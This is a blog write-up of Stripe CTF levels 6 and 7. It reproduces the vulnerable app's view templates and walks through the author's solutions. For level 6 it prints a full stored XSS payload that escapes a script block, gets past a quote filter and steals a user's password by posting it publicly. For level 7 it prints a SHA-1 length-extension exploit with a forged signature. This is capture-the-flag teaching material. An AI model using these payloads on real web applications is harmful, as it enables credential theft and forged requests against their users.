<a name="n12" href="https://stripe-ctf.com/levels/6#n12"></a>12
<a name="n13" href="https://stripe-ctf.com/levels/6#n13"></a>13
<a name="n14" href="https://stripe-ctf.com/levels/6#n14"></a>14
<a name="n15" href="https://stripe-ctf.com/levels/6#n15"></a>15
<a name="n16" href="https://stripe-ctf.com/levels/6#n16"></a>16
<a name="n17" href="https://stripe-ctf.com/levels/6#n17"></a>17
<a name="n18" href="https://stripe-ctf.com/levels/6#n18"></a>18
<a name="n19" href="https://stripe-ctf.com/levels/6#n19"></a>19
<strong><a name="n20" href="https://stripe-ctf.com/levels/6#n20"></a>20</strong>
<a name="n21" href="https://stripe-ctf.com/levels/6#n21"></a>21
<a name="n22" href="https://stripe-ctf.com/levels/6#n22"></a>22
<a name="n23" href="https://stripe-ctf.com/levels/6#n23"></a>23
<a name="n24" href="https://stripe-ctf.com/levels/6#n24"></a>24
<a name="n25" href="https://stripe-ctf.com/levels/6#n25"></a>25
<a name="n26" href="https://stripe-ctf.com/levels/6#n26"></a>26
<a name="n27" href="https://stripe-ctf.com/levels/6#n27"></a>27
<a name="n28" href="https://stripe-ctf.com/levels/6#n28"></a>28
<a name="n29" href="https://stripe-ctf.com/levels/6#n29"></a>29
<strong><a name="n30" href="https://stripe-ctf.com/levels/6#n30"></a>30</strong>
<a name="n31" href="https://stripe-ctf.com/levels/6#n31"></a>31
<a name="n32" href="https://stripe-ctf.com/levels/6#n32"></a>32
<a name="n33" href="https://stripe-ctf.com/levels/6#n33"></a>33
<a name="n34" href="https://stripe-ctf.com/levels/6#n34"></a>34
<a name="n35" href="https://stripe-ctf.com/levels/6#n35"></a>35
<a name="n36" href="https://stripe-ctf.com/levels/6#n36"></a>36
<a name="n37" href="https://stripe-ctf.com/levels/6#n37"></a>37
<a name="n38" href="https://stripe-ctf.com/levels/6#n38"></a>38
<a name="n39" href="https://stripe-ctf.com/levels/6#n39"></a>39
<strong><a name="n40" href="https://stripe-ctf.com/levels/6#n40"></a>40</strong>
<a name="n41" href="https://stripe-ctf.com/levels/6#n41"></a>41
<a name="n42" href="https://stripe-ctf.com/levels/6#n42"></a>42
<a name="n43" href="https://stripe-ctf.com/levels/6#n43"></a>43
<a name="n44" href="https://stripe-ctf.com/levels/6#n44"></a>44
<a name="n45" href="https://stripe-ctf.com/levels/6#n45"></a>45
<a name="n46" href="https://stripe-ctf.com/levels/6#n46"></a>46
<a name="n47" href="https://stripe-ctf.com/levels/6#n47"></a>47
<a name="n48" href="https://stripe-ctf.com/levels/6#n48"></a>48
<a name="n49" href="https://stripe-ctf.com/levels/6#n49"></a>49
<strong><a name="n50" href="https://stripe-ctf.com/levels/6#n50"></a>50</strong>
<a name="n51" href="https://stripe-ctf.com/levels/6#n51"></a>51
<a name="n52" href="https://stripe-ctf.com/levels/6#n52"></a>52
<a name="n53" href="https://stripe-ctf.com/levels/6#n53"></a>53
<a name="n54" href="https://stripe-ctf.com/levels/6#n54"></a>54
<a name="n55" href="https://stripe-ctf.com/levels/6#n55"></a>55
<a name="n56" href="https://stripe-ctf.com/levels/6#n56"></a>56
<a name="n57" href="https://stripe-ctf.com/levels/6#n57"></a>57
<a name="n58" href="https://stripe-ctf.com/levels/6#n58"></a>58
<a name="n59" href="https://stripe-ctf.com/levels/6#n59"></a>59
<strong><a name="n60" href="https://stripe-ctf.com/levels/6#n60"></a>60</strong>
<a name="n61" href="https://stripe-ctf.com/levels/6#n61"></a>61
<a name="n62" href="https://stripe-ctf.com/levels/6#n62"></a>62
<a name="n63" href="https://stripe-ctf.com/levels/6#n63"></a>63
<a name="n64" href="https://stripe-ctf.com/levels/6#n64"></a>64
<a name="n65" href="https://stripe-ctf.com/levels/6#n65"></a>65
<a name="n66" href="https://stripe-ctf.com/levels/6#n66"></a>66
<a name="n67" href="https://stripe-ctf.com/levels/6#n67"></a>67
<a name="n68" href="https://stripe-ctf.com/levels/6#n68"></a>68
<a name="n69" href="https://stripe-ctf.com/levels/6#n69"></a>69
<strong><a name="n70" href="https://stripe-ctf.com/levels/6#n70"></a>70</strong>
<a name="n71" href="https://stripe-ctf.com/levels/6#n71"></a>71
<a name="n72" href="https://stripe-ctf.com/levels/6#n72"></a>72
<a name="n73" href="https://stripe-ctf.com/levels/6#n73"></a>73
<a name="n74" href="https://stripe-ctf.com/levels/6#n74"></a>74
<a name="n75" href="https://stripe-ctf.com/levels/6#n75"></a>75
<a name="n76" href="https://stripe-ctf.com/levels/6#n76"></a>76
<a name="n77" href="https://stripe-ctf.com/levels/6#n77"></a>77
<a name="n78" href="https://stripe-ctf.com/levels/6#n78"></a>78
<a name="n79" href="https://stripe-ctf.com/levels/6#n79"></a>79
<strong><a name="n80" href="https://stripe-ctf.com/levels/6#n80"></a>80</strong>
<a name="n81" href="https://stripe-ctf.com/levels/6#n81"></a>81
<a name="n82" href="https://stripe-ctf.com/levels/6#n82"></a>82
<a name="n83" href="https://stripe-ctf.com/levels/6#n83"></a>83
<a name="n84" href="https://stripe-ctf.com/levels/6#n84"></a>84
<a name="n85" href="https://stripe-ctf.com/levels/6#n85"></a>85
<a name="n86" href="https://stripe-ctf.com/levels/6#n86"></a>86
<a name="n87" href="https://stripe-ctf.com/levels/6#n87"></a>87
<a name="n88" href="https://stripe-ctf.com/levels/6#n88"></a>88
<a name="n89" href="https://stripe-ctf.com/levels/6#n89"></a>89
<strong><a name="n90" href="https://stripe-ctf.com/levels/6#n90"></a>90</strong>
<a name="n91" href="https://stripe-ctf.com/levels/6#n91"></a>91
<a name="n92" href="https://stripe-ctf.com/levels/6#n92"></a>92
<a name="n93" href="https://stripe-ctf.com/levels/6#n93"></a>93
<a name="n94" href="https://stripe-ctf.com/levels/6#n94"></a>94
<a name="n95" href="https://stripe-ctf.com/levels/6#n95"></a>95
<a name="n96" href="https://stripe-ctf.com/levels/6#n96"></a>96
<a name="n97" href="https://stripe-ctf.com/levels/6#n97"></a>97
<a name="n98" href="https://stripe-ctf.com/levels/6#n98"></a>98
<a name="n99" href="https://stripe-ctf.com/levels/6#n99"></a>99
<strong><a name="n100" href="https://stripe-ctf.com/levels/6#n100"></a>100</strong>
<a name="n101" href="https://stripe-ctf.com/levels/6#n101"></a>101
<a name="n102" href="https://stripe-ctf.com/levels/6#n102"></a>102
<a name="n103" href="https://stripe-ctf.com/levels/6#n103"></a>103
<a name="n104" href="https://stripe-ctf.com/levels/6#n104"></a>104
<a name="n105" href="https://stripe-ctf.com/levels/6#n105"></a>105
<a name="n106" href="https://stripe-ctf.com/levels/6#n106"></a>106</pre>
</td>
<td>
<pre>&lt;div class='row'&gt;
  &lt;div class='span9'&gt;
    &lt;h3&gt;Stream of Posts&lt;/h3&gt;

    &lt;table id='posts' class='table table-bordered table-condensed'&gt;
      &lt;tbody&gt;
      &lt;/tbody&gt;
    &lt;/table&gt;

    &lt;script&gt;
      var username = "&lt;%= @username %&gt;";
      var post_data = &lt;%= @posts.to_json %&gt;;

      function escapeHTML(val) {
        return $('&lt;div/&gt;').text(val).html();
      }
      function addPost(item) {
        var new_element = '&lt;tr&gt;&lt;th&gt;' + escapeHTML(item['user']) +
            '&lt;/th&gt;&lt;td&gt;&lt;h4&gt;' + escapeHTML(item['title']) + '&lt;/h4&gt;' +
            escapeHTML(item['body']) + '&lt;/td&gt;&lt;/tr&gt;';
        $('#posts &gt; tbody:last').prepend(new_element);
      }

      for(var i = 0; i &lt; post_data.length; i++) {
        var item = post_data[i];
        addPost(item);
      };
    &lt;/script&gt;

    &lt;form id='new_post' name='new_post' action='&lt;%= absolute_url("/posts") %&gt;'
          method='POST'&gt;
      &lt;%= csrf_tag %&gt;
      &lt;fieldset&gt;
        &lt;div class='control-group'&gt;
          &lt;label class='control-label' for='title'&gt;Title:&lt;/label&gt;
          &lt;div class='controls'&gt;
            &lt;input class='input-medium' name='title' id='title' type='text'/&gt;
          &lt;/div&gt;
        &lt;/div&gt;
        &lt;div class='control-group'&gt;
          &lt;label class='control-label' for='content'&gt;Content:&lt;/label&gt;
          &lt;div class='controls'&gt;
            &lt;textarea class='input-xlarge' name='body' id='content'
              type='text'&gt;Your post here...&lt;/textarea&gt;
          &lt;/div&gt;
        &lt;/div&gt;
        &lt;div class='form-actions'&gt;
          &lt;input class='btn btn-primary' type='submit' value='Post'/&gt;
        &lt;/div&gt;
        &lt;div id='status' name='status' class="alert alert-info"&gt;
          Ready and waiting!
        &lt;/div&gt;
      &lt;/fieldset&gt;
    &lt;/form&gt;

    &lt;script&gt;
      $(document).ready(function() {
        $('#new_post').submit(function(e) {
          var new_post_data = {
            title: $("#title").val(),
            body: $("#content").val(),
            &lt;%= csrf_field %&gt;: "&lt;%= csrf_token %&gt;"
          };
          $.post('&lt;%= absolute_url("/ajax/posts") %&gt;',
                 new_post_data,
                 function(data) {
            var status_text = $.parseJSON(data);
            $('#status').html(status_text['response']);

            new_post_data['user'] = username;
            addPost(new_post_data);
          });

          e.preventDefault();
          return false;
        });
      });
    &lt;/script&gt;
  &lt;/div&gt;
  &lt;div class='span3'&gt;
    &lt;h3&gt;Users Online&lt;/h3&gt;
    &lt;table class='table table-condensed'&gt;
      &lt;% @registered_users.each do |user| %&gt;
        &lt;tr&gt;
          &lt;td&gt;
            &lt;% if @username == user[:username] %&gt;
              &lt;em&gt;
                &lt;a href='&lt;%= absolute_url("/user_info") %&gt;' target='_blank'&gt;
                  &lt;%=h user[:username] %&gt; (me)i
                &lt;/a&gt;
              &lt;/em&gt;
            &lt;% else %&gt;
              &lt;%=h user[:username] %&gt;
            &lt;% end %&gt;

            &lt;br /&gt;

            &lt;span style="font-size:10px"&gt;
              Last active: &lt;%= user[:last_active].strftime('%H:%M:%S UTC') %&gt;
            &lt;/span&gt;
          &lt;/td&gt;
        &lt;/tr&gt;
      &lt;% end %&gt;
    &lt;/table&gt;
  &lt;/div&gt;
&lt;/div&gt;</pre>
</td>
</tr>
</tbody>
</table>
The contents of <code>views/login.erb</code>:
<table>
<tbody>
<tr>
<td title="double click to toggle">
<pre><a name="n1" href="https://stripe-ctf.com/levels/6#n1"></a>1
<a name="n2" href="https://stripe-ctf.com/levels/6#n2"></a>2
<a name="n3" href="https://stripe-ctf.com/levels/6#n3"></a>3
<a name="n4" href="https://stripe-ctf.com/levels/6#n4"></a>4
<a name="n5" href="https://stripe-ctf.com/levels/6#n5"></a>5
<a name="n6" href="https://stripe-ctf.com/levels/6#n6"></a>6
<a name="n7" href="https://stripe-ctf.com/levels/6#n7"></a>7
<a name="n8" href="https://stripe-ctf.com/levels/6#n8"></a>8
<a name="n9" href="https://stripe-ctf.com/levels/6#n9"></a>9
<strong><a name="n10" href="https://stripe-ctf.com/levels/6#n10"></a>10</strong>
<a name="n11" href="https://stripe-ctf.com/levels/6#n11"></a>11
<a name="n12" href="https://stripe-ctf.com/levels/6#n12"></a>12
<a name="n13" href="https://stripe-ctf.com/levels/6#n13"></a>13
<a name="n14" href="https://stripe-ctf.com/levels/6#n14"></a>14
<a name="n15" href="https://stripe-ctf.com/levels/6#n15"></a>15
<a name="n16" href="https://stripe-ctf.com/levels/6#n16"></a>16
<a name="n17" href="https://stripe-ctf.com/levels/6#n17"></a>17
<a name="n18" href="https://stripe-ctf.com/levels/6#n18"></a>18
<a name="n19" href="https://stripe-ctf.com/levels/6#n19"></a>19
<strong><a name="n20" href="https://stripe-ctf.com/levels/6#n20"></a>20</strong>
<a name="n21" href="https://stripe-ctf.com/levels/6#n21"></a>21
<a name="n22" href="https://stripe-ctf.com/levels/6#n22"></a>22
<a name="n23" href="https://stripe-ctf.com/levels/6#n23"></a>23
<a name="n24" href="https://stripe-ctf.com/levels/6#n24"></a>24
<a name="n25" href="https://stripe-ctf.com/levels/6#n25"></a>25</pre>
</td>
<td>
<pre>&lt;div class='row'&gt;
  &lt;div class='span12'&gt;
    &lt;h3&gt;Login&lt;/h3&gt;

    &lt;br /&gt;

    &lt;p&gt;
      Sign into your Streamer account, and instantly start sharing updates
      with your friends. If you don't have an account yet,
      &lt;a href='&lt;%= absolute_url ("/register") %&gt;'&gt;create one now&lt;/a&gt;!
    &lt;/p&gt;

    &lt;br /&gt;

    &lt;form class='form-inline' action='&lt;%= absolute_url("/login") %&gt;'
          method='post'&gt;
      &lt;%= csrf_tag %&gt;
      &lt;input class='input-medium' name='username' type='text'
             placeholder='Username'/&gt;
      &lt;input class='input-medium' name='password' type='password'
             placeholder='Password'/&gt;
      &lt;input class='btn btn-primary' type='submit' value='Sign In'/&gt;
    &lt;/form&gt;
  &lt;/div&gt;
&lt;/div&gt;</pre>
</td>
</tr>
</tbody>
</table>
The contents of <code>views/register.erb</code>:
<table>
<tbody>
<tr>
<td title="double click to toggle">
<pre><a name="n1" href="https://stripe-ctf.com/levels/6#n1"></a>1
<a name="n2" href="https://stripe-ctf.com/levels/6#n2"></a>2
<a name="n3" href="https://stripe-ctf.com/levels/6#n3"></a>3
<a name="n4" href="https://stripe-ctf.com/levels/6#n4"></a>4
<a name="n5" href="https://stripe-ctf.com/levels/6#n5"></a>5
<a name="n6" href="https://stripe-ctf.com/levels/6#n6"></a>6
<a name="n7" href="https://stripe-ctf.com/levels/6#n7"></a>7
<a name="n8" href="https://stripe-ctf.com/levels/6#n8"></a>8
<a name="n9" href="https://stripe-ctf.com/levels/6#n9"></a>9
<strong><a name="n10" href="https://stripe-ctf.com/levels/6#n10"></a>10</strong>
<a name="n11" href="https://stripe-ctf.com/levels/6#n11"></a>11
<a name="n12" href="https://stripe-ctf.com/levels/6#n12"></a>12
<a name="n13" href="https://stripe-ctf.com/levels/6#n13"></a>13
<a name="n14" href="https://stripe-ctf.com/levels/6#n14"></a>14
<a name="n15" href="https://stripe-ctf.com/levels/6#n15"></a>15
<a name="n16" href="https://stripe-ctf.com/levels/6#n16"></a>16
<a name="n17" href="https://stripe-ctf.com/levels/6#n17"></a>17
<a name="n18" href="https://stripe-ctf.com/levels/6#n18"></a>18
<a name="n19" href="https://stripe-ctf.com/levels/6#n19"></a>19
<strong><a name="n20" href="https://stripe-ctf.com/levels/6#n20"></a>20</strong>
<a name="n21" href="https://stripe-ctf.com/levels/6#n21"></a>21
<a name="n22" href="https://stripe-ctf.com/levels/6#n22"></a>22
<a name="n23" href="https://stripe-ctf.com/levels/6#n23"></a>23
<a name="n24" href="https://stripe-ctf.com/levels/6#n24"></a>24
<a name="n25" href="https://stripe-ctf.com/levels/6#n25"></a>25
<a name="n26" href="https://stripe-ctf.com/levels/6#n26"></a>26
<a name="n27" href="https://stripe-ctf.com/levels/6#n27"></a>27
<a name="n28" href="https://stripe-ctf.com/levels/6#n28"></a>28
<a name="n29" href="https://stripe-ctf.com/levels/6#n29"></a>29
<strong><a name="n30" href="https://stripe-ctf.com/levels/6#n30"></a>30</strong>
<a name="n31" href="https://stripe-ctf.com/levels/6#n31"></a>31</pre>
</td>
<td>
<pre>&lt;div class='row'&gt;
  &lt;div class='span12'&gt;
    &lt;h3&gt;Register for a Streamer account&lt;/h3&gt;

    &lt;br /&gt;

    &lt;form class='form-horizontal' action='&lt;%= absolute_url("/register") %&gt;'
          method='post'&gt;
      &lt;%= csrf_tag %&gt;
      &lt;fieldset&gt;
        &lt;div class='control-group'&gt;
          &lt;label class='control-label' for='username'&gt;Username:&lt;/label&gt;
          &lt;div class='controls'&gt;
            &lt;input class='input-medium' name='username' id='username'
                   type='text' placeholder='Username'/&gt;
          &lt;/div&gt;
        &lt;/div&gt;
        &lt;div class='control-group'&gt;
          &lt;label class='control-label' for='username'&gt;Password:&lt;/label&gt;
          &lt;div class='controls'&gt;
            &lt;input class='input-medium' name='password' id='password'
                   type='password' placeholder='Password'/&gt;
          &lt;/div&gt;
        &lt;/div&gt;
        &lt;div class='form-actions'&gt;
          &lt;input class='btn btn-primary' type='submit' value='Register'/&gt;
        &lt;/div&gt;
      &lt;/fieldset&gt;
    &lt;/form&gt;
  &lt;/div&gt;
&lt;/div&gt;</pre>
</td>
</tr>
</tbody>
</table>
The contents of <code>views/layout.erb</code>:
<table>
<tbody>
<tr>
<td title="double click to toggle">
<pre><a name="n1" href="https://stripe-ctf.com/levels/6#n1"></a>1
<a name="n2" href="https://stripe-ctf.com/levels/6#n2"></a>2
<a name="n3" href="https://stripe-ctf.com/levels/6#n3"></a>3
<a name="n4" href="https://stripe-ctf.com/levels/6#n4"></a>4
<a name="n5" href="https://stripe-ctf.com/levels/6#n5"></a>5
<a name="n6" href="https://stripe-ctf.com/levels/6#n6"></a>6
<a name="n7" href="https://stripe-ctf.com/levels/6#n7"></a>7
<a name="n8" href="https://stripe-ctf.com/levels/6#n8"></a>8
<a name="n9" href="https://stripe-ctf.com/levels/6#n9"></a>9
<strong><a name="n10" href="https://stripe-ctf.com/levels/6#n10"></a>10</strong>
<a name="n11" href="https://stripe-ctf.com/levels/6#n11"></a>11
<a name="n12" href="https://stripe-ctf.com/levels/6#n12"></a>12
<a name="n13" href="https://stripe-ctf.com/levels/6#n13"></a>13
<a name="n14" href="https://stripe-ctf.com/levels/6#n14"></a>14
<a name="n15" href="https://stripe-ctf.com/levels/6#n15"></a>15
<a name="n16" href="https://stripe-ctf.com/levels/6#n16"></a>16
<a name="n17" href="https://stripe-ctf.com/levels/6#n17"></a>17
<a name="n18" href="https://stripe-ctf.com/levels/6#n18"></a>18
<a name="n19" href="https://stripe-ctf.com/levels/6#n19"></a>19
<strong><a name="n20" href="https://stripe-ctf.com/levels/6#n20"></a>20</strong>
<a name="n21" href="https://stripe-ctf.com/levels/6#n21"></a>21
<a name="n22" href="https://stripe-ctf.com/levels/6#n22"></a>22
<a name="n23" href="https://stripe-ctf.com/levels/6#n23"></a>23
<a name="n24" href="https://stripe-ctf.com/levels/6#n24"></a>24
<a name="n25" href="https://stripe-ctf.com/levels/6#n25"></a>25
<a name="n26" href="https://stripe-ctf.com/levels/6#n26"></a>26
<a name="n27" href="https://stripe-ctf.com/levels/6#n27"></a>27
<a name="n28" href="https://stripe-ctf.com/levels/6#n28"></a>28
<a name="n29" href="https://stripe-ctf.com/levels/6#n29"></a>29
<strong><a name="n30" href="https://stripe-ctf.com/levels/6#n30"></a>30</strong>
<a name="n31" href="https://stripe-ctf.com/levels/6#n31"></a>31
<a name="n32" href="https://stripe-ctf.com/levels/6#n32"></a>32
<a name="n33" href="https://stripe-ctf.com/levels/6#n33"></a>33</pre>
</td>
<td>
<pre>&lt;!doctype html&gt;
&lt;html&gt;
  &lt;head&gt;
    &lt;title&gt;Streamer&lt;/title&gt;
    &lt;script src='&lt;%= absolute_url('/js/jquery-1.8.0.min.js') %&gt;'&gt;&lt;/script&gt;
    &lt;link rel='stylesheet' type='text/css'
          href='&lt;%= absolute_url('/css/bootstrap-combined.min.css') %&gt;' /&gt;
  &lt;/head&gt;
  &lt;body&gt;
    &lt;div class='navbar'&gt;
      &lt;div class='navbar-inner'&gt;
        &lt;div class='container'&gt;
          &lt;a class='brand' href='&lt;%= absolute_url("/") %&gt;'&gt;Streamer&lt;/a&gt;
          &lt;% if @user %&gt;
            &lt;ul class='nav pull-right'&gt;
              &lt;li&gt;&lt;a href='&lt;%= absolute_url("/logout") %&gt;'&gt;Log Out&lt;/a&gt;&lt;/li&gt;
            &lt;/ul&gt;
          &lt;% end %&gt;
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
    &lt;div class='container'&gt;
&lt;% if @error %&gt;
  &lt;p&gt;Error: &lt;%= @error %&gt;&lt;/p&gt;
&lt;% end %&gt;
&lt;% if @success %&gt;
  &lt;p&gt;Success: &lt;%= @success %&gt;&lt;/p&gt;
&lt;% end %&gt;

      &lt;%= yield %&gt;
    &lt;/div&gt;
  &lt;/body&gt;
&lt;/html&gt;</pre>
</td>
</tr>
</tbody>
</table>
The contents of <code>views/user_info.erb</code>:
<table>
<tbody>
<tr>
<td title="double click to toggle">
<pre><a name="n1" href="https://stripe-ctf.com/levels/6#n1"></a>1
<a name="n2" href="https://stripe-ctf.com/levels/6#n2"></a>2
<a name="n3" href="https://stripe-ctf.com/levels/6#n3"></a>3
<a name="n4" href="https://stripe-ctf.com/levels/6#n4"></a>4
<a name="n5" href="https://stripe-ctf.com/levels/6#n5"></a>5
<a name="n6" href="https://stripe-ctf.com/levels/6#n6"></a>6
<a name="n7" href="https://stripe-ctf.com/levels/6#n7"></a>7
<a name="n8" href="https://stripe-ctf.com/levels/6#n8"></a>8
<a name="n9" href="https://stripe-ctf.com/levels/6#n9"></a>9
<strong><a name="n10" href="https://stripe-ctf.com/levels/6#n10"></a>10</strong>
<a name="n11" href="https://stripe-ctf.com/levels/6#n11"></a>11
<a name="n12" href="https://stripe-ctf.com/levels/6#n12"></a>12
<a name="n13" href="https://stripe-ctf.com/levels/6#n13"></a>13
<a name="n14" href="https://stripe-ctf.com/levels/6#n14"></a>14
<a name="n15" href="https://stripe-ctf.com/levels/6#n15"></a>15</pre>
</td>
<td>
<pre>&lt;div class='row'&gt;
  &lt;div class='span12'&gt;
    &lt;h3&gt;User Information&lt;/h3&gt;
    &lt;table class='table table-condensed'&gt;
      &lt;tr&gt;
        &lt;th&gt;Username:&lt;/th&gt;
        &lt;td&gt;&lt;%= @username %&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;th&gt;Password:&lt;/th&gt;
        &lt;td&gt;&lt;%= @password %&gt;&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/table&gt;
  &lt;/div&gt;
&lt;/div&gt;</pre>
</td>
</tr>
</tbody>
</table>
</div>
<strong>Solution</strong>

This one is a pretty nasty one. It requires a considerable XSS encoded to bypass some security checks, like those that are found here and there in Google and Facebook.

This app is a something like Twitter, there are a bunch of users registered in there, and everyone can post something. The posts consist of Titles and Bodys. The posting mechanism uses AJAX to make things a little harder.
<div><a href="http://abiusx.com/blog/wp-content/uploads/2012/08/stripe-ctf-challenge6.png"><img class="aligncenter size-medium wp-image-773" title="stripe-ctf-challenge6" src="http://abiusx.com/blog/wp-content/uploads/2012/08/stripe-ctf-challenge6-300x168.png" alt="" width="300" height="168" /></a></div>
There is no reset password feature in this, but if you click on your username on the right sidebar, another page pops up showing you your password:
<div><a href="http://abiusx.com/blog/wp-content/uploads/2012/08/stripe-ctf-challenge6-password.png"><img class="aligncenter size-full wp-image-774" title="stripe-ctf-challenge6-password" src="http://abiusx.com/blog/wp-content/uploads/2012/08/stripe-ctf-challenge6-password.png" alt="" width="486" height="159" /></a></div>
So our Javascript snippet intended for XSS use, would have to first open this page (https://level06-2.stripe-ctf.com/user-nmqpuylekv/user_info) then use a regex to extract the password bit off it. It is stated in the question that password contains special chars such as quotations and apostrophes.

Then the XSS snippet would have to post this password as body via AJAX so that other users (hence us) could see it. Since the posting mechanism rejects any message that contains quotations and apostrophes, the snippet would have to escape those characters first and then submit it.

Also because of the rejection mechanism, the snippet couldn&#8217;t use quotations and apostrophes (which are very common in every programming language) to be able to be posted and run by other users.

To make things worse, the messages are not displayed directly on the page by Ruby, instead they are stored as JSON in some Javascript snippet, and then read off one by one with another Javascript snippet and added to page, so what we inject gets inserted in the middle of some Javascript code:
<blockquote>var username = &#8220;abx&#8221;;

var post_data = [{"time":"Fri Aug 24 12:25:13 +0000 2012","title":"Might want to take note","user":"level07-password-holder","id":null,"body":"Anyone want to play tennis?"},{"time":"Fri Aug 24 12:27:34 +0000 2012","title":"FYI","user":"level07-password-holder","id":null,"body":"Why is it so hard to find good juice restaurants?"},{"time":"Fri Aug 24 13:17:37 +0000 2012","title":"Definitely of interest","user":"level07-password-holder","id":null,"body":"Anyone want to play tennis?"},{"time":"Fri Aug 24 13:21:23 +0000 2012","title":"An FYI","user":"level07-password-holder","id":null,"body":"I am hungry"},{"time":"Sun Aug 26 01:24:24 +0000 2012","title":"SAMPLE TITLE","user":"abx","id":null,"body":"SAMPLE BODY"}];

function escapeHTML(val) {

return $(&#8216;&lt;div/&gt;&#8217;).text(val).html();

}

function addPost(item) {

var new_element = &#8216;&lt;tr&gt;&lt;th&gt;&#8217; + escapeHTML(item['user']) +

&#8216;&lt;/th&gt;&lt;td&gt;&lt;h4&gt;&#8217; + escapeHTML(item['title']) + &#8216;&lt;/h4&gt;&#8217; +

escapeHTML(item['body']) + &#8216;&lt;/td&gt;&lt;/tr&gt;&#8217;;

$(&#8216;#posts &gt; tbody:last&#8217;).prepend(new_element);

}

for(var i = 0; i &lt; post_data.length; i++) {

var item = post_data[i];

addPost(item);</blockquote>
Whatever we enter, goes where you can see <strong>SAMPLE BODY</strong> now. I crafted the following snippet to do the dirty XSS job for me:
<blockquote>&lt;/script&gt;

&lt;script&gt;

var temp=new String();

var ajax_uri=String.fromCharCode(46, 47, 117, 115, 101, 114, 95, 105, 110, 102, 111);

var content_tag=String.fromCharCode(35, 99, 111, 110, 116, 101, 110, 116);

var title_tag=String.fromCharCode(35, 116, 105, 116, 108, 101);

var submit_tag=String.fromCharCode(35, 110, 101, 119, 95, 112, 111, 115, 116);

$.get(ajax_uri,function(data){

temp=data.match(/&lt;td&gt;([^al].*)&lt;/)[1];

temp=temp.replace(String.fromCharCode(39),String.fromCharCode(66, 79, 90));

temp=temp.replace(String.fromCharCode(34),String.fromCharCode(66,79,89));

$(content_tag).val(temp);

$(title_tag).val(title_tag);

$(submit_tag).submit();

});

//</blockquote>
This one is also a one-liner but have been separated for readability here. Now let me explain this XSS to you. First we have temp, we are going to store our password in it. Then we have 4 variables, containing the strings &#8220;./user_info&#8221;, &#8220;#content&#8221;, &#8220;#title&#8221;, &#8220;#submit&#8221;. We had to populate them using fromCharCode to not use quotation marks on our code, otherwise it would be rejected.

The next line performs an AJAX GET request on <strong>user_info</strong> page, containing the user password. The regular expression extracts the password part. Unfortunately we couldn&#8217;t use backslash (\) in our snippet too, because Ruby automatically escapes that, so we couldn&#8217;t use multiline Regular Expressions. This one gets the password plus the rest of its line, but to the human eye it is obvious.

Then we replace instances of quotation marks and apostrophes with string BOZ and BOY respectively so that the password could be posted as a message. Then the form is filled using jQuery, and submitted to make the post appear.

We had to do first and last line, because we&#8217;re injecting in the middle of a Javascript string. Fortunately, browsers first render HTML and then parse Javascript, so when the document is made like this:
<blockquote><strong>&lt;script&gt;</strong>var post_data = [{"time":"Fri Aug 24 12:25:13 +0000 2012","title":"Might want to take note","user":"level07-password-holder","id":null,"body":"Anyone want to play tennis?"},{"time":"Fri Aug 24 12:27:34 +0000 2012","title":"FYI","user":"level07-password-holder","id":null,"body":"Why is it so hard to find good juice restaurants?"},{"time":"Fri Aug 24 13:17:37 +0000 2012","title":"Definitely of interest","user":"level07-password-holder","id":null,"body":"Anyone want to play tennis?"},{"time":"Fri Aug 24 13:21:23 +0000 2012","title":"An FYI","user":"level07-password-holder","id":null,"body":"I am hungry"},{"time":"Sun Aug 26 01:24:24 +0000 2012","title":"SAMPLE TITLE","user":"abx","id":null,"body":"<strong>&lt;/script&gt;&lt;script&gt;var temp=new String();var ajax_uri=String.fromCharCode(46, 47, 117, 115, 101, 114, 95, 105, 110, 102, 111);var content_tag=String.fromCharCode(35, 99, 111, 110, 116, 101, 110, 116);var title_tag=String.fromCharCode(35, 116, 105, 116, 108, 101);var submit_tag=String.fromCharCode(35, 110, 101, 119, 95, 112, 111, 115, 116);$.get(ajax_uri,function(data){temp=data.match(/&lt;td&gt;([^al].*)&lt;/)[1];temp=temp.replace(String.fromCharCode(39),String.fromCharCode(66, 79, 90));temp=temp.replace(String.fromCharCode(34),String.fromCharCode(66,79,89));$(content_tag).val(temp);$(title_tag).val(title_tag);$(submit_tag).submit();}); //</strong>&#8220;}]; &lt;/script&gt;</blockquote>
First HTML is parsed, making this lot two separate Javascript tags, then Javascript parser starts, which detects the first part as buggy and non-parsable but runs the second part validly. The // (comment symbol) we used at the end of our snippet is meant to mask the rest of the Javascript so that it has valid syntax.

Now you post this snippet, wait a couple minutes, refresh the page, browse the source code and see this:
<blockquote>{&#8220;time&#8221;:&#8221;Sun Aug 26 01:34:19 +0000 2012&#8243;,&#8221;title&#8221;:&#8221;#title&#8221;,&#8221;user&#8221;:&#8221;level07-password-holder&#8221;,&#8221;id&#8221;:null,&#8221;body&#8221;:&#8221;BOZUomQaKdVQhrIBOY&#8221;}</blockquote>
Enjoy the password!

<!--more-->
<h3><strong>Challenge 7 &#8211; Cryptographic Hash Extension</strong></h3>
You completed this level in 4968.437 seconds. The password was<code>ehQUKKkphF</code>.

The solution you submitted was:

<code>import requests import hashlib import json import sys import urllib body="count=10&amp;lat=37.351&amp;user_id=1&amp;long=-119.827&amp;waffle=eggo\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02(&amp;waffle=liege|sig:5fe73d0cbd3b4e82f9b87970041851d232e757cd"; resp= requests.post("https://level07-2.stripe-ctf.com/user-cyusirmzyz/orders",data=body); print resp.text; fAk u for this hard one</code>

<hr />

Welcome to the penultimate level, Level 7.

WaffleCopter is a new service delivering locally-sourced organic waffles hot off of vintage waffle irons straight to your location using quad-rotor GPS-enabled helicopters. The service is modeled after <a href="http://tacocopter.com/">TacoCopter</a>, an innovative and highly successful early contender in the airborne food delivery industry. WaffleCopter is currently being tested in private beta in select locations.

Your goal is to order one of the decadent Liège Waffles, offered only to WaffleCopter&#8217;s first premium subscribers.

Log in to your account at <strong><a href="https://level07-2.stripe-ctf.com/user-cyusirmzyz" target="_blank">https://level07-2.stripe-ctf.com/user-cyusirmzyz</a></strong> with username <code>ctf</code> and password <code>password</code>. You will find your API credentials after logging in. You can fetch the code for the level via

